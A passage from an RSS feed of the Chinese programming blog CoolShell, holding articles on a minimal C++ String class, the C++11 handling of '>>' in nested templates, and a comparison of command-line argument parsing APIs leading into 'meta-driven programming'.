std::swap(data_, rhs.data_);\n  }\n\n private:\n  char* data_;\n};</pre>\n<p>注意代码的几个要点：</p>\n<ol>\n<li>只在构造函数里调用 new char[]，只在析构函数里调用 delete[]。</li>\n<li>赋值操作符采用了《C++编程规范》推荐的现代写法。</li>\n<li>每个函数都只有一两行代码，没有条件判断。</li>\n<li>析构函数不必检查 data_ 是否为 NULL。</li>\n<li>构造函数 <code>String(const char* str)</code> 没有检查 str 的合法性，这是一个永无止境的争论话题。这里在初始化列表里就用到了 str，因此在函数体内用 assert() 是无意义的。</li>\n</ol>\n<p>这恐怕是最简洁的 String 实现了。</p>\n<p><strong>练习1</strong>：增加 operator==、operator&lt;、operator[] 等操作符重载。</p>\n<p><strong>练习2</strong>：实现一个带 int size_; 成员的版本，以空间换时间。</p>\n<p><strong>练习3</strong>：受益于右值引用及移动语意，在 C++11 中对 String 实施直接插入排序的性能比C++98/03要高，试编程验证之。（g++的标准库也用到了此技术。）</p>\n<p>陈皓注：同时，大家可以移步看看我的一篇老文《<a href=\"http://blog.csdn.net/haoel/article/details/1491219\" target=\"_blank\">STL中String类的问题</a>》<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" alt=\"一个fork的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_title\">一个fork的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/4162.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"又一个有趣的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4162.html\" class=\"wp_rp_title\">又一个有趣的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/3961.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" alt=\"“火柴棍式”程序员面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3961.html\" class=\"wp_rp_title\">“火柴棍式”程序员面试题</a></li><li ><a href=\"https://coolshell.cn/articles/3738.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"打印质数的各种算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3738.html\" class=\"wp_rp_title\">打印质数的各种算法</a></li><li ><a href=\"https://coolshell.cn/articles/3445.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"输出从1到1000的数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3445.html\" class=\"wp_rp_title\">输出从1到1000的数</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10478.html\">C++面试中string类的一种正确写法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/10478.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>40</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C++模板”&#062;&#062;”编译问题与词法消歧设计</title>\n\t\t<link>https://coolshell.cn/articles/10449.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/10449.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Todd]]></dc:creator>\n\t\t<pubDate>Wed, 02 Oct 2013 10:47:36 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=10449</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢 @文艺复兴记（todd） 投递此文） 在编译理论中，通常将编译过程抽象为5个主要阶段：词法分析(Lexical Analysis)，语法分析(Parsi...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/10449.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/10449.html\">C++模板”>>”编译问题与词法消歧设计</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>（感谢 <a href=\"http://weibo.com/weidagang\" target=\"_blank\">@文艺复兴记</a>（todd） 投递此文）</strong></p>\n<p>在编译理论中，通常将编译过程抽象为5个主要阶段：词法分析(Lexical Analysis)，语法分析(Parsing)，语义分析(Semantic Analysis)，优化(Optimization)，代码生成(Code Generation)。这5个阶段类似Unix管道模型，上一个阶段的输出作为下一个阶段的输入。其中，词法分析是根据输入源代码文本流，分割出词，识别类别，产生词法元素(Token)流，如：</p>\n<pre data-enlighter-language=\"cpp\" class=\"EnlighterJSRAW\">\nint a = 10;\n</pre>\n<p>​经过词法分析会得到[(Type, &#8220;int&#8221;), (Identifier, &#8220;a&#8221;), (AssignOperator, &#8220;=&#8221;), (IntLiteral, 10)]，在后续的语法分析阶段，就会根据这些词法元素匹配相应的语法规则。在我学习编译原理时，教科书中对于词法分析的介绍主要是基于正则表达式的，言下之意就是普通语言的词法规则是可以通过正则表达式描述的。比如，C语言的变量名规则是“包含字母、数字或下划线，并且以字母或下划线开头”，这就可以用正则表达式<code>[a-zA-Z_][a-zA-Z0-9_]*</code>表达。但是，在实践中我发现不管是主流语言，还是自己设计的DSL都大量存在不能简单通过正则表达式进行词法分析的例子。来看C++98的模版例子：</p>\n<pre data-enlighter-language=\"cpp\" class=\"EnlighterJSRAW\">\nmap&lt;int, vector&lt;int&gt;&gt;\n</pre>\n<p>上面这段代码会被C++98编译器中报语法错误，原因在于它把“&gt;&gt;”识别成了位右移运算符而不是两个模版右括号，在C++98中必须在两个括号中间加空格，写成</p>\n<p><span id=\"more-10449\"></span></p>\n<pre data-enlighter-language=\"cpp\" class=\"EnlighterJSRAW\">\nmap&lt;int, vector&lt;int&gt; &gt;\n</pre>\n<p>除此了C++模版，据我所知，经典的FORTRAN语言的语法规则更是大量存在词法歧义。</p>\n<p>我认为从本质上讲，这类问题的根源在于词法分析的依据只是简单的词法规则，并不具备所有的语法信息，而词法歧义必须提升一层在语法规则中消除。所以，在我自己设计一些DSL的时候干脆就把词法分析和语法分析合二为一了，相当于让语法分析在字符层次上去进行，而不是经典的词法元素层次上，这就是所谓的<a title=\"Scannerless Parsing\" href=\"http://en.wikipedia.org/wiki/Scannerless_parsing\">Scannerless Parsing</a>。采用这种方法的例子并不少见，TeX, Wiki, Makefile和Perl 6等语言的语法分析器都属此类。</p>\n<p>Scannerless Parsing方法弥补了词法规则无法消歧的问题，但是同时也破坏了词法和语法分析简单清晰的管道结构，总体上增加了实现和理解的复杂度。另外，像C++这样大型的语言，如果开始是有词法分析的，稍微碰到一个歧义就整个转成Scannerless Parsing未免也显得太夸张了。这个问题困扰了我很久，直到最近才找到了一个满意的解决方案。还是以上面&#8221;&gt;&gt;&#8221;为例，我们知道现在C++11已经允许不加空格了，那么C++11编译器是如何处理这个词法歧义的呢？答案是：词法分析阶段既然分析不好&#8221;&gt;&gt;&#8221;，干脆就不分析了，直接把&#8221;&gt;&#8221; &#8220;&gt;&#8221;交给语法分析器来分析，其他没有词法歧义的照旧。当我知道这个方案的时候不由得感叹：妙！理论上，词法分析是可以什么也不做的，全部把字符一一交给语法分析器也没有问题，所以，干脆让词法分析只做有把握的部分，解决不了的交给语法分析器，这样就既保留了管道结构，又解决了词法歧义。</p>\n<p>下面我们再来看看C++11规范关于这个问题的定义：</p>\n<blockquote><p>14.2 Names of template specializations [temp.names] ###</p>\n<p>After name lookup (3.4) finds that a name is a template-name or that an operator-function-id or a literal-operator-id refers to a set of overloaded functions any member of which is a function template if this is followed by a &lt;, the &lt; is always taken as the delimiter of a template-argument-list and never as the less-than operator. When parsing a template-argument-list, the first non-nested &gt; is taken as the ending delimiter rather than a greater-than operator. Similarly, the first non-nested &gt;&gt; is treated as two consecutive but distinct &gt; tokens, the first of which is taken as the end of the template-argument-list and completes the template-id. [ Note: The second &gt; token produced by this replacement rule may terminate an enclosing template-id construct or it may be part of a different construct (e.g. a cast).—end note ]</p></blockquote>\n<p>可见，在C++11中，词法分析器是把&#8221;&gt;&gt;&#8221;直接当成两个&#8221;&gt;&#8221;传给了语法分析器，然后在语法分析中如果匹配了template-argument-lis语法，第一个&#8221;&gt;&#8221;符号会被直接认为是模版结束符，而不是大于，也不是位移符号。根据这个定义，我构造了一个例子：</p>\n<pre data-enlighter-language=\"cpp\" class=\"EnlighterJSRAW\">\ntemplate&lt;int N&gt;\nclass Foo {\n};\n\nFoo&lt;3&gt;&gt;1&gt; foo;\n</pre>\n<p>这个例子在C++98中是能正确编译的，&#8221;&gt;&gt;&#8221;被解释成了位移运算，但是它反而不能在C++11中编译了，因为根据规范第一个&#8221;&gt;&#8221;被解释成了模版参数结束符。如果要在C++11中编译，需要显式地加上括号：</p>\n<pre data-enlighter-language=\"cpp\" class=\"EnlighterJSRAW\">\nFoo&lt;(3&gt;&gt;1)&gt; foo;\n</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10449.html\">C++模板”>>”编译问题与词法消歧设计</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/10449.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>17</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>数据即代码：元驱动编程</title>\n\t\t<link>https://coolshell.cn/articles/10337.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/10337.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Todd]]></dc:creator>\n\t\t<pubDate>Fri, 09 Aug 2013 02:18:31 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[Ruby]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[Lisp]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=10337</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢 @文艺复兴记（todd） 投递此文） 几个小伙伴在考虑下面这个各个语言都会遇到的问题： 问题：设计一个命令行参数解析API 一个好的命令行参数解析库一般...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/10337.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>（感谢 <a href=\"http://weibo.com/weidagang\" target=\"_blank\">@文艺复兴记</a>（todd） 投递此文）</strong></p>\n<p>几个小伙伴在考虑下面这个各个语言都会遇到的问题：</p>\n<p><strong>问题：设计一个命令行参数解析API</strong></p>\n<p>一个好的命令行参数解析库一般涉及到这几个常见的方面：</p>\n<p>1) 支持方便地生成帮助信息</p>\n<p>2) 支持子命令，比如：git包含了push, pull, commit等多种子命令</p>\n<p>3) 支持单字符选项、多字符选项、标志选项、参数选项等多种选项和位置参数</p>\n<p>4) 支持选项默认值，比如：&#8211;port选项若未指定认为5037</p>\n<p>5) 支持使用模式，比如：tar命令的-c和-x是互斥选项，属于不同的使用模式</p>\n<p>经过一番考察，小伙伴们发现了这个几个有代表性的API设计：</p>\n<p><strong>1. getopt()：</strong></p>\n<p><a href=\"http://www.gnu.org/software/libc/manual/html_node/Getopt.html\">getopt()</a>是libc的标准函数，很多语言中都能找到它的移植版本。</p>\n<p><span id=\"more-10337\"></span></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n//C\nwhile ((c = getopt(argc, argv, &quot;ac:d:&quot;)) != -1) {\n    int this_option_optind = optind ? optind : 1;\n    switch (c) {\n    case &#039;a&#039;:\n        printf (&quot;option a&quot;);\n        aopt = 1;\n        break;\n    case &#039;c&#039;:\n        printf (&quot;option c with value &#039;%s&#039;&quot;, optarg);\n        copt = optarg;\n        break;\n    case &#039;d&#039;:\n        printf (&quot;option d with value &#039;%s&#039;&quot;, optarg);\n        dopt = optarg;\n        break;\n    case &#039;?&#039;:\n        break;\n    default:\n        printf (&quot;?? getopt returned character code 0%o ??&quot;, c);\n    }\n}\n</pre>\n<p>getopt()的核心是一个类似printf的格式字符串的命令行参数描述串，如上面的&#8221;ac:d:&#8221;定义了&#8221;a&#8221;, &#8220;c&#8221;，&#8221;d&#8221;3个命令行参数，其中，a是一个标志符不需要参数，&#8221;c&#8221;和&#8221;d&#8221;需要跟参数。getopt()功能非常弱，只支持单个字符的标志选项和参数选项。如果按上面的5点来比对，基本上只能说是勉强支持第3点，其他几项只能靠程序自己来实现了，所以，想直接基于getopt()实现一个像git这样复杂的命令行参数是不可能的，只有自己来做很多的解析工作。小伙伴们看过getopt()之后一致的评价是:图样图森破。</p>\n<p><strong>2. Google gflags</strong></p>\n<p>接着，小伙伴们又发现了<a href=\"https://code.google.com/p/gflags/\">gflags</a>这个Google出品C++命令行参数解析库。</p>\n<pre data-enlighter-language=\"cpp\" class=\"EnlighterJSRAW\">\n//C++\nDEFINE_bool(memory_pool, false, &quot;If use memory pool&quot;);\nDEFINE_bool(daemon, true, &quot;If started as daemon&quot;);\nDEFINE_string(module_id, &quot;&quot;, &quot;Server module id&quot;);\nDEFINE_int32(http_port, 80, &quot;HTTP listen port&quot;);\nDEFINE_int32(https_port, 443, &quot;HTTPS listen port&quot;);\n\nint main(int argc, char** argv) {\n    ::google::ParseCommandLineFlags(&amp;argc, &amp;argv, true);\n\n    printf(&quot;Server module id: %s&quot;, FLAGS_module_id.c_str());\n\n    if (FLAGS_daemon) {\n      printf(&quot;Run as daemon: %d&quot;, FLAGS_daemon);\n    }\n    if (FLAGS_memory_pool) {\n      printf(&quot;Use memory pool: %d&quot;, FLAGS_daemon);\n    }\n\n    Server server;\n\n    return 0;\n}\n</pre>\n<p>小伙伴们看了后不由得感叹“真心好用啊”！的确，gflags简单地通过几个宏就定义了命令行选项，基本上很好的支持了上面提到的1，3，4这几项，比起getopt()来强多了。对于类似cp这样的小命令，gflags应该是够用了，但要达到git这种级别就显得有些单薄了。</p>\n<p><strong>3. Ruby Commander</strong></p>\n<p>接下来小伙伴们又发现了Ruby Commander库：</p>\n<pre data-enlighter-language=\"ruby\" class=\"EnlighterJSRAW\">\n//Ruby\n# :name is optional, otherwise uses the basename of this executable\nprogram :name, &#039;Foo Bar&#039;\nprogram :version, &#039;1.0.0&#039;\nprogram :description, &#039;Stupid command that prints foo or bar.&#039;\ncommand :bar do |c|\n  c.syntax = &#039;foobar bar [options]&#039;\n  c.description = &#039;Display bar with optional prefix and suffix&#039;\n  c.option &#039;--prefix STRING&#039;, String, &#039;Adds a prefix to bar&#039;\n  c.option &#039;--suffix STRING&#039;, String, &#039;Adds a suffix to bar&#039;\n  c.action do |args, options|\n    options.default :prefix =&gt; &#039;(&#039;, :suffix =&gt; &#039;)&#039;\n    say &quot;#{options.prefix}bar#{options.suffix}&quot;\n  end\nend\n$ foobar bar\n# =&gt; (bar)\n$ foobar bar --suffix &#039;}&#039; --prefix &#039;{&#039;\n# =&gt; {bar}\n</pre>\n<p>Commander库利用Ruby酷炫的语法定义了一种描述命令行参数的内部DSL，看起来相当高端大气上档次。除了上面的第5项之外，其他几项都有很好的支持，可以说Commander库的设计基本达到了git这种级别命令行参数解析的要求。只是，要搞懂Ruby这么炫的语法和这个库的使用方法恐怕就不如getopt()和gflags容易了。有小伙伴当场表示想要学习Ruby，但是也有小伙伴表示再看看其他库再说。</p>\n<p><strong>4. Lisp cmdline库</strong></p>\n<p>接下来，小伙伴们发现了Lisp方言Racket的<a href=\"http://docs.racket-lang.org/reference/Command-Line_Parsing.html\">cmdline库</a>。</p>\n<pre data-enlighter-language=\"ruby\" class=\"EnlighterJSRAW\">\n//Lisp\n(parse-command-line &quot;compile&quot; (current-command-line-arguments)\n  `((once-each\n     [(&quot;-v&quot; &quot;--verbose&quot;)\n      ,(lambda (flag) (verbose-mode #t))\n      (&quot;Compile with verbose messages&quot;)]\n     [(&quot;-p&quot; &quot;--profile&quot;)\n      ,(lambda (flag) (profiling-on #t))\n      (&quot;Compile with profiling&quot;)])\n    (once-any\n     [(&quot;-o&quot; &quot;--optimize-1&quot;)\n      ,(lambda (flag) (optimize-level 1))\n      (&quot;Compile with optimization level 1&quot;)]\n     [(&quot;--optimize-2&quot;)\n      ,(lambda (flag) (optimize-level 2))\n      ((&quot;Compile with optimization level 2,&quot;\n        &quot;which implies all optimizations of level 1&quot;))])\n    (multi\n     [(&quot;-l&quot; &quot;--link-flags&quot;)\n      ,(lambda (flag lf) (link-flags (cons lf (link-flags))))\n      (&quot;Add a flag &lt;lf&gt; for the linker&quot; &quot;lf&quot;)]))\n   (lambda (flag-accum file) file)\n   &#039;(&quot;filename&quot;))\n</pre>\n<p>这是神马浮云啊?括号套括号，看起来很厉害的样子，但又不是很明白。看到这样的设计，有的小伙伴连评价都懒得评价了，但也有的小伙伴对Lisp越发崇拜，表示Lisp就是所谓的终极语言了，没有哪门语言能写出这么不明觉历的代码来！小伙伴们正准备打完收工，突然&#8230;</p>\n<p><strong>5. Node.js的LineParser库</strong></p>\n<p>发现了Node.js的<a href=\"https://github.com/weidagang/line-parser-js\">LineParser库</a>:</p>\n<p>[javascript]<br />\n//JavaScript<br />\nvar meta = {<br />\n    program : &#8216;adb&#8217;,<br />\n    name : &#8216;Android Debug Bridge&#8217;,<br />\n    version : &#8216;1.0.3&#8217;,<br />\n    subcommands : [ &#8216;connect&#8217;, &#8216;disconnect&#8217;, &#8216;install&#8217; ],<br />\n    options : {<br />\n        flags : [<br />\n            [ &#8216;h&#8217;, &#8216;help&#8217;, &#8216;print program usage&#8217; ],<br />\n            [ &#8216;r&#8217;, &#8216;reinstall&#8217;, &#8216;reinstall package&#8217; ],<br />\n            [ &#8216;l&#8217;, &#8216;localhost&#8217;, &#8216;localhost&#8217; ]<br />\n        ],<br />\n        parameters : [<br />\n            [ null, &#8216;host&#8217;, &#8216;adb server hostname or IP address&#8217;, null ],<br />\n            [ &#8216;p&#8217;, &#8216;port&#8217;, &#8216;adb server port&#8217;, 5037 ]<br />\n        ]<br />\n    },<br />\n    usages : [<br />\n        [ &#8216;connect&#8217;, [&#8216;host&#8217;, &#8216;[port]&#8217;], null, &#8216;connect to adb server&#8217;, adb_connect ],<br />\n        [ &#8216;connect&#8217;, [ &#8216;l&#8217; ], null, &#8216;connect to the local adb server&#8217;, adb_connect ],<br />\n        [ &#8216;disconnect&#8217;, null, null, &#8216;disconnect from adb server&#8217;, adb_disconnect ],<br />\n        [ &#8216;install&#8217;, [&#8216;r&#8217;], [&#8216;package&#8217;], &#8216;install package&#8217;, adb_install ],<br />\n        [ null, [&#8216;h&#8217;], null, &#8216;help&#8217;, adb_help ],<br />\n    ]<br />\n};</p>\n<p>try {<br />\n    var lineparser = require(&#8216;lineparser&#8217;);<br />\n    var parser = lineparser.init(meta);<br />\n    // adb_install will be invoked<br />\n    parser.parse([&#8216;install&#8217;, &#8216;-r&#8217;, &#8216;/pkgs/bird.apk&#8217;]);<br />\n}<br />\ncatch (e) {<br />\n    console.error(e);<br />\n}<br />\n[/javascript]</p>\n<p>天啊！？这是什么？我和小伙伴们彻底惊呆了！短短十几行代码就获得了上面5点的全面支持，重要的是小伙伴们居然一下子就看懂了，没有任何的遮遮掩掩和故弄玄虚。本来以为Ruby和Lisp很酷，小伙伴们都想马上去学Ruby和Lisp了，看到这个代码之后怎么感觉前面全是在装呢？有个小伙伴居然激动得哭着表示：我写代码多年，以为再也没有什么代码可以让我感动，没想到这段代码如此精妙，我不由得要赞叹了，实在是太漂亮了！</p>\n<p>小伙伴们的故事讲完了，您看懂了吗？如果没有看懂的话，正题开始了：</p>\n<p>在绝大多数语言中数据和代码可以说是泾渭分明，习惯C++、Java等主流语言的程序员很少去思考数据和代码之间的关系。与多数语言不同的是Lisp以“数据即代码，代码即数据”著称，Lisp用S表达式统一了数据和代码的形式而独树一帜。Lisp奇怪的S表达式和复杂的宏系统让许多人都感到Lisp很神秘，而多数Lisp教程要么强调函数式编程，要么鼓吹宏如何强大，反而掩盖了Lisp真正本质的东西，为此我曾写过一篇<a href=\"http://www.cnblogs.com/weidagang2046/archive/2012/06/03/tao_of_lisp.html\">《Lisp的永恒之道》</a>介绍Lisp思想。</p>\n<p>设计思想和具体技术的区别在于前者往往可以在不同的环境中以不同的形式展现出来。比如，熟悉函数式编程的程序员在理解了纯函数的优点后即使是用C语言也会更倾向于写出无副作用的函数来，这就是函数式思想在命令式环境的应用。所以，理解Lisp思想一定要能在非Lisp环境应用，才算是融汇贯通。</p>\n<p>如果真正理解了Lisp的本质，那所谓的“数据即代码，代码即数据”一点儿也不神秘，这不就是我们每天打交道的配置文件吗！？如果你还不是很理解的话，我们通过下面几个问题慢慢分析：</p>\n<p>1) 配置的本质是什么？为什么要在程序中使用配置文件？</p>\n<p>不知道你是否意识到了，我们每天都在使用的各种各样的<strong>配置本质上是一种元数据也是一种DSL</strong>，这和Lisp基于S表达式的“数据即代码，代码即数据”没有本质区别。在C++、Java等程序中引入配置文件的目的正是用DSL弥补通用语言表达能力和灵活性的不足。我知道不少人喜欢从计算的角度来看到程序和语言，似乎只有图灵完备的语言如C++、Java、Python等才叫程序设计语言，而类似CSS和HTML这样的东西根本不能叫做程序设计语言。其实，在我看来这种观点过于狭隘，<strong>程序的本质是语义的表达</strong>，而语义表达不一定要是计算。</p>\n<p>2) 配置是数据还是代码？</p>\n<p>很明显，Both!说配置是数据，因为它是声明式的描述，能方便地修改和传输；说配置是代码，因为它在表达逻辑，你的程序实际上就是配置的解释器。</p>\n<p>3) 配置的格式是什么？</p>\n<p>配置的格式是任意的，可以自己定义语法，只要配以相应的解释器就行。不过更简单通用的做法是基于XML、JSON、或S表达式等标准结构，在此之上进一步定义schema。甚至完全不必是文件，在我们的项目中配置经常是放到用关系数据库中的。另外，下面我们还会看到用语言的Literal数据作为配置。</p>\n<p>4) 业务逻辑都可以放到配置中吗？</p>\n<p>这个问题的答案显然是：Yes！我没有遇到过不可以放入配置的逻辑，只是问题在于这样做是否值得，能达到什么效果。对于需要灵活变化，重复出现，有复用价值的东西放入作为配置是明智的选择。这篇文章的主要目的就在于介绍把<strong>主要业务逻辑都放到配置中，再通过程序解释执行配置的设计方法，我称之为：元驱动编程(Meta Driven Programming)</strong>。</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5202.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"对象的消息模型\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5202.html\" class=\"wp_rp_title\">对象的消息模型</a></li><li ><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" alt=\"编程语言汽车\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_title\">编程语言汽车</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" 